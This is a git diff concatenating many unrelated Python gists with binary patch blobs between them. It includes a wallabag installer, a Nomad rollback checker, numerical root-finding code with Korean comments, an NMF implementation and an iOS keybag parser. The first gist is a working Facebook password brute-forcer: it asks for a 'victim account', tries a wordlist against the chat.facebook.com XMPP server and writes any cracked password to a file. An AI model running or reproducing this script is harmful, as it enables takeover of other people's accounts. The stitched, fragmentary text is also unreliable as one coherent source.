oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K ^_^ + +import xmpp +import sys +import urllib,re +import time +import random +import datetime + +def internet_on(): + try : + data = urllib.urlopen('https://www.google.com') + return True + except : + return False + +if internet_on() == True: + print """ + \t _____ _____ _____ _ + \t| ___|| ___ \ / __ \ | | + \t| |_ | |_/ / ______ | / \/ _ __ __ _ ___ | | __ ___ _ __ + \t| _| | ___ \ |______| | | | '__| / _` | / __|| |/ / / _ \| '__| + \t| | | |_/ / | \__/\| | | (_| || (__ | < | __/| | + \t\_| \____/ \____/|_| \__,_| \___||_|\_\ \___||_| + + # Private Ghost Password ^_^ + # Coded By Hossam Youssef :) + # Enjoy Cracking ^_^ + # usage: Facebook-brute-force.py [wordlist file] + + """ + + + + + login = raw_input("Enter username of victim account : ") + + + password_list = open(sys.argv[1],"r") + + _login=login+"@chat.facebook.com" + + print "[+]Connecting To Facebook Terminal Server... " + print "[+]Connection Has Been Establishing Successfully To The Server..." + print "[+]Negotiating With The Protocol..." + print "[+]There was no error with Port..." + print "[+]You Are Successfully Connected Enj0y..." + print "[+]Attack Has Been Started Be Patient..." + + for pwd in password_list: + + sys.stdout.write(".") + sys.stdout.flush() + + pwd=pwd.strip('\n') + + jid = xmpp.protocol.JID(_login) + cl = xmpp.Client(jid.getDomain(), debug=[]) + + if cl.connect(('chat.facebook.com',5222)): + print "!~Injecting Password~!" + + else: + print "[+]Successed[+]" + + print '[!]',pwd + + if cl.auth(jid.getNode(), pwd): + cl.sendInitPresence() + print "[+] -> The Account Has Been Cracked ^__^ "," Password Found ==> : ",pwd + file = open(login+".txt", "w") + file.write("Email : " +login+ "@facebook.com\n") + file.write("Password : " +pwd+ "\n") + file.write(str(datetime.datetime.now())) + file.close() + break + + cl.disconnect() + time.sleep(2) +else: + print "You have a problem to connect to the Internet :(" \ No newline at end of file diff --git a/hard-gists/071932322204bcad6063/._snippet.py b/hard-gists/071932322204bcad6063/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K + AllowOverride None + Order Allow,Deny + Allow from All + + + Options -MultiViews + RewriteEngine On + RewriteCond %{{REQUEST_FILENAME}} !-f + RewriteRule ^(.*)$ app.php [QSA,L] + + + """.format(os.path.join(args.destination, WALLABAG_ARCHIVE_NAME, 'web')) + } + data = json.dumps(data).encode('ascii') + request = urllib.request.Request( + ALWAYSDATA_API_URL + 'site/', + data, + headers={'Content-Type': 'application/json'}) + response = urllib.request.urlopen(request) + + # Update wallabag parameters.yml + print('Update parameters.yml...') + for line in fileinput.input(os.path.join( + args.destination, + WALLABAG_ARCHIVE_NAME, 'app', 'config', + 'parameters.yml'), inplace=True): + if line.strip(): + if 'database_driver:' in line: + print(' database_driver: %s' % ( + 'pdo_mysql' if args.database_type == 'MYSQL' + else 'pdo_pgsql')) + elif 'database_host:' in line: + print(' database_host: %s' % '%s-%s.alwaysdata.net' % ( + args.database_type.lower(), + ACCOUNT_NAME)) + elif 'database_name:' in line: + print(' database_name: %s' % args.database) + elif 'database_user:' in line: + print(' database_user: %s' % args.database_user) + elif 'database_password:' in line: + print(' database_password: %s' % args.database_password) + elif 'database_path:' in line: + print(' database_path: null') + else: + print(line) + + # Execute wallabag installer + print('Launch wallabag installer...') + subprocess.run("%s/bin/console wallabag:install -e=prod" % ( + os.path.join(args.destination, WALLABAG_ARCHIVE_NAME)), shell=True) diff --git a/hard-gists/076424abd8b012371b516da32807ca14/._snippet.py b/hard-gists/076424abd8b012371b516da32807ca14/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K> t2 +t2 >> t3 diff --git a/hard-gists/076bbc6a0d5056d20ad45095b434b02d/._snippet.py b/hard-gists/076bbc6a0d5056d20ad45095b434b02d/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^Kpdfservice.nomad +nomad run pdfservice.nomad +./nomad-check.py pdfservice $BUILD_NUMBER + +So, this code nomad-check, will see if the tag BUILD_NUMBER got ran successfully with nomad, if it failed for whatever reason +then it will roll-back to a previous BUILD_NUMBER. (up to 10 times). + + uses https://github.com/jrxfive/python-nomad + pip install python-nomad + +""" +import subprocess +import sys +import time +import nomad + +def job(n, service): + """ + return a job + """ + return n.job.get_job(service) + +def check(n, service): + """return status on service with nomad connection n + """ + s = job(n, service) + return s[u'Status'] + +def imageBuildNumber(image): + """return build number from image config""" + try: + return image.rsplit(':', 1)[1] + except IndexError: + return 0 + except AttributeError: + return 0 + +def rollback(service, buildNumber): + """rollback nomad service to buildNumber. + i.e. you give me the buildNumber to go back to. + """ + sed = 'sed "s/@@BUILD_NUMBER@@/%s/g" pdfservice.nomad.sed >pdfservice.nomad' % buildNumber + out = subprocess.check_output(sed, shell=True) + print(sed, out) + out = subprocess.check_output(['nomad','run','%s.nomad' % service]) + print('nomad:', out) + return True + +def waitForBuildAndThenCheck(n, service, buildNumber, secs=10): + """wait around until we get the right build number in the image, and then run a check + """ + for i in range(1, secs): + s = job(n, service) + image = s['TaskGroups'][0]['Tasks'][0]['Config']['image'] + iBuildNumber = imageBuildNumber(image) + if buildNumber == iBuildNumber: + return True, s[u'Status'] + else: + time.sleep(1) + return image, s[u'Status'] +def check(n, service, buildNumber): + """ + check service for buildNumber as running and happy. + returns True if happy. + returns False if not happy. + """ + success, status = waitForBuildAndThenCheck(n, service, buildNumber) + if success is True: + if status == 'running': + print("OK: %s is in %s state with buildNumber %s" % (service, status, buildNumber)) + return True + print("ERROR: %s is in state %s with buildNumber %s (%s)" % (service, status, imageBuildNumber(success), success)) + return False + +def main(service, buildNumber): + """main""" + n = nomad.Nomad('nomad.service.consul', timeout=5) + if check(n, service, buildNumber): + #success! + sys.exit(0) + else: + # rollback to a previous working build... + # up to 5 previous builds. + prevBuildNumber = int(buildNumber)-1 + for i in range(prevBuildNumber, prevBuildNumber-5, -1): + print("INFO:rolling back to buildnumber:%s" % i) + prevbuildNumber = str(i) + rollback(service, i) + ret = check(n, service, i) + if ret: + sys.exit(0) + +if __name__ == '__main__': + main(sys.argv[1], sys.argv[2]) \ No newline at end of file diff --git a/hard-gists/07cdfc2826a565b50a68/._snippet.py b/hard-gists/07cdfc2826a565b50a68/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K -100: + side_speed = 0 + if forward_speed < 100 and forward_speed > -100: + forward_speed = 0 + + if event.type == 1 and event.code == 302 and event.value == 1: + print("X button is pressed. Stopping.") + running = False + time.sleep(0.5) # Wait for the motor thread to finish + break diff --git a/hard-gists/0932b2b5293839cd7d79fa6b513c8128/._snippet.py b/hard-gists/0932b2b5293839cd7d79fa6b513c8128/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K 0: + print("No sign change") + return [], [], [], [] + + # 반복 카운터 + iter = 0 + + # 중심값 초기화 + xr = xl + + # 계산될 오차값 100%로 초기화 + ea = 100 + + # 무한 반복 + while True: + # 우선 현재 중심값을 xrold라는 변수에 저장해둠 + xrold = xr + + # 중심값을 현재의 최고, 최저값을 더한 후 2로 나눈 값(중앙값)으로 설정함 + xr = np.float((xl + xu) / 2) + + # 한 바퀴 더 돌았음 + iter = iter + 1 + + # 중심값이 0이 아니라면 + if xr != 0: + # 다음 식을 계산해서 오차값을 찾음 + # |{(현재 중심값) - (이전 중심값)} / (현재 중심값) | * 100 + ea = np.float(np.abs((np.float(xr) - np.float(xrold))/np.float(xr))*100) + + # f(최저값)과 x(최고값)을 곱함 + test = func(xl) * func(xr) + + # 만약 곱한 값이 양수라면 + if test > 0: + # 최저값을 현재 중심값으로 설정함 + xl = xr + # 아니고 만약 음수라면 + elif test < 0: + # 최고값을 현재 중심값으로 설정함 + xu = xr + # 만약 양수도, 음수도 아닌 0이라면 + else: + # 오차 없음, 정확히 찾음 + ea = 0 + + # 만약 (1) 계산된 오차값이 허용된 오차값보다 작다면 = 대강 이쯤되면 답이다 싶으면 + # 또는 + # 만약 (2) 설정한 최대 반복값보다 더 많이 돌았으면 + if np.int(ea < es) | np.int(iter >= maxit): + # 계산 그만, 반복 종료 + break + + # 구한 중심값을 근으로 침 + root = xr + + # f(x)에 구한 근 넣어서 계산 + fx = func(xr) + + # 근, f(근) 값, 계산된 오차값, 반복값 + return root, fx, ea, iter + +""" + 가위치법을 계산하는 함수입니다. + func : 대상 함수 + xl : 계산할 x의 최저값 (lower guesses) + xu : 계산할 x의 최고값 (upper guesses) +""" +def false_position(func, xl, xu): + # 최고 반복 한계값, 에러 최댓값 설정 + maxit = 100 + es = 1.0e-4 + + # f(최저값)과 x(최고값)을 곱함 + test = func(xl) * func(xu) + + """ + False Position은 Bisection과 마찬가지로 구간을 기반으로 판단하는 알고리즘입니다. + 그러므로 역시 중간값 정리를 적용하여, 양쪽 끝값의 부호가 달라야 계산이 가능합니다. + 그렇지 않다면, 계산을 하지 않고 함수를 종료합니다. + """ + if test > 0: + print("No sign change") + return [], [], [], [] + + # 반복 카운터 초기화 + iter = 0 + + # 중간값 초기화 + xr = xl + + # 오차 초기화 + ea = 100 + + # 무한 반복 + while True: + # 이전 중간값 저장 + xrold = xr + + # False Position 알고리즘 : 삼각형의 닮은꼴 기반 계산법 (PPT 참조) + xr = np.float(xu - func(xu) * (xl - xu) / (func(xl) - func(xu))) + + # 반복 카운터 1 증가 + iter = iter + 1 + + # 중간값이 0이 아니면 + if xr != 0: + # 다음 식을 계산해서 오차값을 찾음 + # |{(현재 중심값) - (이전 중심값)} / (현재 중심값) | * 100 + ea = np.float(np.abs((np.float(xr) - np.float(xrold))/np.float(xr)) * 100) + + # f(최저값)과 x(최고값)을 곱함 + test = func(xl) * func(xr) + + # 만약 곱한 값이 양수라면 + if test > 0: + # 최저값을 현재 중심값으로 설정함 + xl = xr + # 아니고 만약 음수라면 + elif test < 0: + # 최고값을 현재 중심값으로 설정함 + xu = xr + # 만약 양수도, 음수도 아닌 0이라면 + else: + # 오차 없음, 정확히 찾음 + ea = 0 + + # 만약 (1) 계산된 오차값이 허용된 오차값보다 작다면 = 대강 이쯤되면 답이다 싶으면 + # 또는 + # 만약 (2) 설정한 최대 반복값보다 더 많이 돌았으면 + if np.int(ea < es) | np.int(iter >= maxit): + # 계산 그만, 반복 종료 + break + + # 찾은 중심값을 근으로 함 + root = xr + + # f(근) 계산 + fx = func(xr) + + # 근, f(근), 오차, 반복 횟수 반환 + return root, fx, ea, iter + +""" + Newton-Raphson을 계산하는 함수입니다. + func : 대상 함수 + dfunc : 대상 함수의 미분 함수 + xr : 시작값 +""" +def newtraph(func, dfunc, xr): + # 최대 반복 횟수, 오차 최댓값, 반복 카운터 초기화 + maxit = 50 + es = 1.0e-4 + iter = 0 + + # 무한 반복 + while True: + # 현재 값 보관 + xrold = xr + + # Newton-Raphson Algorithm 계산 + xr = np.float(xr - func(xr) / dfunc(xr)) + # 반복 카운터 1 증가 + iter = iter + 1 + + # xr이 0이 아닐 경우 + if xr != 0: + # 다음 식을 계산해서 오차값을 찾음 + # |{(현재 중심값) - (이전 중심값)} / (현재 중심값) | * 100 + ea = np.float(np.abs((np.float(xr) - np.float(xrold))/np.float(xr)) * 100) + + # 만약 (1) 계산된 오차값이 허용된 오차값보다 작다면 = 대강 이쯤되면 답이다 싶으면 + # 또는 + # 만약 (2) 설정한 최대 반복값보다 더 많이 돌았으면 + if np.int(ea < es) | np.int(iter >= maxit): + break + + # 구해진 xr을 근으로 함 + root = xr + # 근, 오차값, 반복 횟수 반환 + return root, ea, iter + +""" + Secant Method(할선법)를 계산하는 함수입니다. + func : 대상 함수 + x0, x1 : 시작값, 끝값 +""" +def secant_method(func, x0, x1): + # 최대 반복 횟수, 최대 오차, 반복 카운터 초기화 + maxit = 100 + es = 1.0e-4 + iter = 0 + + # 무한 반복 + while True: + # Secant Method + xr = np.float(x1 - (func(x1) * (x1 - x0) * 1.0) / (func(x1) - func(x0))) + # 반복 카운터 초기화 + iter = iter + 1 + + # xr이 0이 아닐 경우 + if xr != 0: + # 다음 식을 계산해서 오차값을 찾음 + # |{(현재 구한 값) - (바로 전에 구한 값)} / (현재 구한 값) | * 100 + ea = np.float(np.abs((np.float(xr) - np.float(x1))/np.float(xr)) * 100) + + # 만약 (1) 계산된 오차값이 허용된 오차값보다 작다면 = 대강 이쯤되면 답이다 싶으면 + # 또는 + # 만약 (2) 설정한 최대 반복값보다 더 많이 돌았으면 + if np.int(ea < es) | np.int(iter >= maxit): + break + + # 값을 하나씩 뒤로 옮김 + x0 = x1 + x1 = xr + + # 구해진 xr을 근으로 함 + root = xr + # 근, 오차값, 반복 횟수를 반환 + return root, ea, iter + +# 실제적 계산값 +print("[!] 0. Real Root\n") + +fm = lambda m: np.sqrt(9.81 * m / 0.25) * np.tanh(np.sqrt(9.81 * 0.25 / m) * 4) - 36 +m = fsolve(fm, 1) + +print("[+] Real Root:", m) +print() + +# 증분법 +print("[!] 1. Incremental Search\n") +g = 9.81; m = 68.1; cd = 0.25; v = 36; t = 4 + +fp = lambda mp: np.sqrt(g * np.asarray(mp) / cd) * np.tanh(np.sqrt(g * cd / np.asarray(mp)) * t) - v +nb, xb = incsearch(fp, 1, 200, 50) + +# 구간의 갯수 +print("[+] Number of Brackets =", nb) + +# 구간들 +print("[+] Root Interval =", xb) +print() + +# 이분법 +print("[!] 2. Bisection\n") +fm = lambda m: np.sqrt(9.81 * m / 0.25) * np.tanh(np.sqrt(9.81 * 0.25 / m) * 4) - 36 +root, fx, ea, iter = bisect(fm, 40, 200) + +# 근 +print("[+] root:", root) + +# f(근) +print("[+] f(root):", fx, "(Must Be Zero)") + +# 계산된 오차 +print("[+] Estimated Error:", ea, "(Must Be Zero Error)") + +# 근을 찾기 위해 반복한 계산 횟수 +print("[+] Iterated Number to Find Root: ", iter) +print() + +# 가위치법 +print("[!] 3. False Position\n") +fm = lambda m: np.sqrt(9.81 * m / 0.25) * np.tanh(np.sqrt(9.81 * 0.25 / m) * 4) - 36 +root, fx, ea, iter = false_position(fm, 40, 200) + +# 근 +print("[+] root:", root, "(False Position)") + +# f(근) +print("[+] f(root):", fx, "(Must Be Zero, False Position)") + +# 계산된 오차 +print("[+] Estimated Error:", ea, "(Must Be Zero Error, False Position)") + +# 근을 찾기 위해 반복한 계산 횟수 +print("[+] Iterated Number to Find Root: ", iter, "(False Position)") +print() + +# Newton-Raphson +print("[!] 4. Newton-Raphson\n") + +# 대상 함수 +y = lambda m: np.sqrt(9.81 * m / 0.25) * np.tanh(np.sqrt(9.81 * 0.25 / m) * 4) - 36 + +# 미분 함수 +""" + 미분 함수에서, 원래대로라면 sech(Hyperbolic Secant)의 제곱이 필요합니다. + 하지만 Numpy + Scipy 조합에서는 이 함수가 존재하지 않습니다. + 그래서 sech = 1 / cosh에서 착안하여 {1 / np.cosh(...)}의 제곱으로 계산하여야 합니다. +""" +dy = lambda m: (1 / 2) * np.sqrt(9.81 / (m * 0.25)) * np.tanh(np.sqrt(9.81 * 0.25 / m) * 4) - \ + (9.81 * 4 / (2 * m)) * (1 / np.cosh(np.sqrt(9.81 * 0.25 / m) * 4)) ** 2 + +# 시작값이 140일 때 +root, ea, iter = newtraph(y, dy, 140) +print("[=] On xr = 140\n") + +print("[+] Root:", root) +print("[+] Estimated Error:", ea, "(Must Be Zero Error)") +print("[+] Iterated Number to Find Root: ", iter) +print() + +# 시작값이 200일 때 +root, ea, iter = newtraph(y, dy, 200) +print("[=] On xr = 200\n") + +print("[+] root:", root) +print("[+] Estimated Error:", ea, "(Must Be Zero Error)") +print("[+] Iterated Number to Find Root: ", iter) +print() + +# 시작값이 40일 때 +root, ea, iter = newtraph(y, dy, 40) +print("[=] On xr = 40\n") + +print("[+] root:", root) +print("[+] Estimated Error:", ea, "(Must Be Zero Error)") +print("[+] Iterated Number to Find Root: ", iter) +print() + +# Secant Method (할선법) +print("[!] 5. Secant Method\n") +y = lambda m: np.sqrt(9.81 * m / 0.25) * np.tanh(np.sqrt(9.81 * 0.25 / m) * 4) - 36 + +# 40에서 200을 범위로 잡았을 때 +root, ea, iter = secant_method(y, 40, 200) +print("[=] On 40 to 200:\n") + +print("[+] Root:", root) +print("[+] Estimated Error:", ea, "(Must Be Zero Error)") +print("[+] Iterated Number to Find Root: ", iter) +print() + + +# 기대 출력 결과 +""" +[!] 0. Real Root + +[+] Real Root: [ 142.73763311] + +[!] 1. Incremental Search + +[+] Number of Brackets = 1 +[+] Root Interval = [139.08163265306123, 143.14285714285717] + +[!] 2. Bisection + +[+] root: 142.73765563964844 +[+] f(root): 4.60891335763e-07 (Must Be Zero) +[+] Estimated Error: 5.3450468252827136e-05 (Must Be Zero Error) +[+] Iterated Number to Find Root: 21 + +[!] 3. False Position + +[+] root: 142.73783844758196 (False Position) +[+] f(root): 4.20034974269e-06 (Must Be Zero, False Position) +[+] Estimated Error: 7.781013805708828e-05 (Must Be Zero Error, False Position) +[+] Iterated Number to Find Root: 29 (False Position) + +[!] 4. Newton-Raphson + +[=] On xr = 140 + +[+] Root: 142.73763310844788 +[+] Estimated Error: 9.907775669827273e-06 (Must Be Zero Error) +[+] Iterated Number to Find Root: 3 + +[=] On xr = 200 + +[+] root: 142.73763310844814 +[+] Estimated Error: 9.466905354044462e-06 (Must Be Zero Error) +[+] Iterated Number to Find Root: 5 + +[=] On xr = 40 + +[+] root: 142.73763310844924 +[+] Estimated Error: 1.0756383652963496e-10 (Must Be Zero Error) +[+] Iterated Number to Find Root: 7 + +[!] 5. Secant Method + +[=] On 40 to 200: + +[+] Root: 142.73763310875134 +[+] Estimated Error: 6.298919092046472e-06 (Must Be Zero Error) +[+] Iterated Number to Find Root: 7 +""" + +# 설명 +""" + 먼저 실제 근값(0번)을 보면 142.73763311을 볼 수 있습니다. + 이것이 실제 근이고, 이 값과 1, 2에서 구한 값을 비교합니다. + + 1의 Root Interval을 보면, 139.08... 부터 143.14... 사이에 + 근이 있다는 것을 알 수 있습니다. + 증분법의 특성상 저 사이 쯤에 근이 있을 것이라는 추정 정도가 가능합니다. + 만약 linspace의 ns 값을 늘려서 대입값을 더 촘촘하게 한다면 + 더욱 정확한 구간 값을 도출할 수 있을 것입니다. + + 2의 root를 보면, 142.73765563... 이 나옵니다. 실제 근과 소숫점 뒤 + 4자리까지 일치하는 거의 정확한 값입니다. + 근을 x라고 할 때, 근이 맞다면 f(x)는 0이 되어야 합니다. + 넣어보니 4.6089...e-07, 즉 0.000000460... 의 경미한 오차를 보입니다. + 또, 계산된 오차값을 보면, 위에서 기초적으로 설정한 0.0001%보다 작은 오차로 + 21번만에 계산이 종료된 것을 알 수 있습니다. + + 3의 root를 보면, 142.73783844... 이 나옵니다. 실제 근과 소숫점 뒤 + 3자리까지 일치하는 것을 볼 수 있습니다. + 그러다 보니 f(근)과 계산된 오차 또한 실제값과 거리가 조금 더 있습니다. + 반복도 조금 더 한 것 같습니다. + 즉, 여기서는 이분법이 가위치법보다 더 정확한 값이 나왔다는 뜻이 됩니다. + + 이건 원인이 있습니다. + 가위치법은, 근과 그래프의 설정된 양 끝값을 기준으로 삼각형 2개를 그린 후 + 그 두 삼각형이 닮은꼴인가를 tan 함수와 비슷하게 판정하게 됩니다. + 그래서, 가위치법은 "원래 함수가 어떻게 생겼느냐"에 따라서 계산 횟수가 바뀌게 됩니다. + 하지만, 이분법은 삼각형과 상관이 없는 계산 방식을 가집니다. + 따라서 우리가 사용한 번지 점프 공식은 가위치법보다는 이분법이 더 적합한 + 함수 모양이었다는 결론을 낼 수 있습니다. + + [의견 반영: 박은환 (@dainelpark)] + 또한, 함수의 모양을 보면 이분법과 가위치법의 소스가 매우 비슷합니다. + 이 두 알고리즘은 구간을 판정할 때 f(왼쪽 끝값)과 f(오른쪽 끝값)의 + 곱이 음수일 때, 즉 부호가 다를 때를 기준으로 판정한다는 공통점이 있습니다. + 구간을 얻었을 때, xr(중간값)을 구하는 방법이 각각 다르고, 이 차이가 + 이분법과 가위치법을 구분합니다. + + Newton-Raphson(4번)의 경우, 미분계수를 구하는 방식을 매우 철저하게 + 구현한 알고리즘으로, 우리가 알고 있는 미분의 과정을 그대로 흉내냅니다. + 시작값이 어디이냐에 따라서 결과가 달라지는데, 반복의 횟수가 3~7회인 것으로 보입니다. + 같은 식을 이분법으로 계산해보면, 24번의 반복 횟수가 나옵니다. + 이분법과 비교했을 때 매우 효율적인 계산 방법이라고 할 수 있습니다. + + 그러나 Newton-Raphson법에는 문제가 있는데, 미분 함수를 따로 + 구해서 넣어주고 그것을 지속적으로 계산해야 한다는 점입니다. + 그래서 나온 방법이 Secant Method(할선법, 5번)입니다. + 할선법은 도함수를 이용하는 대신 2개의 함숫값을 통해서 지속적으로 + 선을 그어가며 새로운 끝점을 찾아서 근에 접근하는 방식입니다. + 이 방식을 이용하면 Newton-Raphson법과 비슷하게 계산하되 + 연산력을 낭비하지 않고, 도함수 없이도 계산할 수 있다는 + 장점이 있습니다. + + 실제 할선법의 계산 결과를 보면, 40에서 200의 구간을 주었습니다. + 위의 이분법과 같은 구간을 주었는데 7번의 반복만에 계산이 끝났습니다. + Newton-Raphson법의 장점을 취하면서, 동시에 단점을 보완한 방법이라고 할 수 있습니다. +""" \ No newline at end of file diff --git a/hard-gists/09648344984565f9477a/._snippet.py b/hard-gists/09648344984565f9477a/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K +# License: BSD 3 clause + +import numpy as np +import scipy.sparse as sp +import numba + +from sklearn.base import BaseEstimator +from sklearn.utils import check_random_state +from sklearn.utils.extmath import safe_sparse_dot + + +@numba.jit("f8(f8[:,:], f8[:,:], f8[:,:], i4, f8, f8, f8)") +def _compute_update(H, PWW, PWV, penalty, alpha, regn, regd): + violation = 0 + n_components = H.shape[0] + + for i in xrange(H.shape[1]): + for k in xrange(n_components): + + if penalty == 2: + regn = H[k, i] * alpha + + # gradient + # g = GH[k, i] where GH = np.dot(PWW, H) - PWV + g = - PWV[k, i] + regn + + for j in xrange(H.shape[0]): + g += PWW[k, j] * H[j, i] + + # projected gradient + pg = min(0, g) if H[k, i] == 0 else g + + # Hessian + h = PWW[k, k] + regd + + # Update + H[k, i] = max(H[k, i] - g / h, 0) + + violation += abs(pg) + + return violation + + +class CDNMF(BaseEstimator): + """ + NMF by coordinate descent, designed for sparse data (without missing values) + """ + + def __init__(self, n_components=30, alpha=0.01, penalty="l2", + max_iter=50, tol=0.05, + init="random", random_state=None, verbose=0): + self.n_components = n_components + self.alpha = alpha + self.penalty = penalty + self.max_iter = max_iter + self.tol = tol + self.init = init + self.random_state = random_state + self.verbose = verbose + + def _init(self, X, rs, transpose=False): + n_samples, n_features = X.shape + + if self.init == "random": + W = rs.randn(self.n_components, n_features) + np.abs(W, W) + elif self.init == "sample": + ind = np.arange(n_samples) + rs.shuffle(ind) + W = X[ind[:self.n_components]] + if sp.issparse(W): + W = W.toarray() + comp = np.asfortranarray(W) + + # H is initialized empty since it will be optimized first. + H = np.zeros((n_samples, self.n_components)) + coef = np.ascontiguousarray(H) + + if transpose: + comp = comp.T + coef = coef.T + + return comp, coef + + def _update(self, X, W, H, regn, regd, penalty): + PWW = np.dot(W.T, W) + PWV = safe_sparse_dot(W.T, X.T) + + return _compute_update(H, PWW, PWV, penalty, + self.alpha, regn, regd) + + def _fit_transform(self, X, W, H, update_W=True): + penalties = {"l1": 1, "l2": 2} + penalty = penalties[self.penalty] + + if penalty == 1: + regn = self.alpha + regd = 0 + else: + regn = 0 + regd = self.alpha + + for t in xrange(self.max_iter): + # Update H + v = self._update(X, W, H, regn, regd, penalty) + + # Update W + if update_W: + v += self._update(X.T, H.T, W.T, regn, regd, penalty) + + if t == 0: + violation_init = v + + if self.verbose: + print "violation:", v / violation_init + + if v / violation_init <= self.tol: + if self.verbose: + print "Converged at iteration", t + 1 + break + + return W, H + + def fit_transform(self, X): + n_samples, n_features = X.shape + rs = check_random_state(self.random_state) + + W, H = self._init(X, rs, transpose=True) + + W, H = self._fit_transform(X, W, H) + + self.components_ = W.T + + return H.T + + def fit(self, X): + self.fit_transform(X) + return self + + def transform(self, X): + n_samples = X.shape[0] + H = np.zeros((self.n_components, n_samples)) + W = self.components_.T + W, H = self._fit_transform(X, W, H, update_W=False) + return H.T + + +if __name__ == '__main__': + from sklearn.datasets import fetch_20newsgroups_vectorized + + bunch = fetch_20newsgroups_vectorized(subset="all") + X = bunch.data.tocsr() + y = bunch.target + + nmf = CDNMF(init="sample", verbose=1, random_state=0) + nmf.fit_transform(X) \ No newline at end of file diff --git a/hard-gists/096f3b651b268b7af4c8c32475fa23d1/._snippet.py b/hard-gists/096f3b651b268b7af4c8c32475fa23d1/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K table["Enrl Tot"]).any() + +if can_enroll: + os.system('say "time to enroll"') + print("time to enroll") +else: + os.system('say "you will never graduate on time"') + print("you will never graduate on time") \ No newline at end of file diff --git a/hard-gists/097f97f4cb67c554f04dba6b5a09a506/._snippet.py b/hard-gists/097f97f4cb67c554f04dba6b5a09a506/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K4sI', hdr) + data = self.f.read(sz) + if sz == 4: + data, = struct.unpack('>I', data) + + # UUID usually first item of each entry + if typ == 'UUID': + if 'UUID' in currKey: + keys.append(currKey) + else: + self.hdr = currKey + currKey = OrderedDict() + + currKey[typ] = data + + if currKey: + keys.append(currKey) + + self.keys = keys + + def dump(self): + for k, v in self.hdr.iteritems(): + print k, v + + print '-' * 10 + + def decode(typ, val): + if typ == 'UUID': + v = hexlify(val) + return '%s...%s' % (v[:6], v[-4:]) + elif not isinstance(val, (int, long)): + return hexlify(val) + else: + return repr(val) + + for key in self.keys: + print ', '.join('%s: %s' % (k, decode(k, v)) \ + for k, v in key.iteritems()) + + def __repr__(self): + return repr(self.keys) + +def main(): + stream = getKeybagFile(sys.argv[1]) + + k = Keybag(stream) + k.dump() + +if __name__ == '__main__': + main() diff --git a/hard-gists/0acf77b2c022e2467cfb0d5493d454d6/._snippet.py b/hard-gists/0acf77b2c022e2467cfb0d5493d454d6/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K= 30] # Test on independent people + +# Test on a subset of people +n_faces = 4 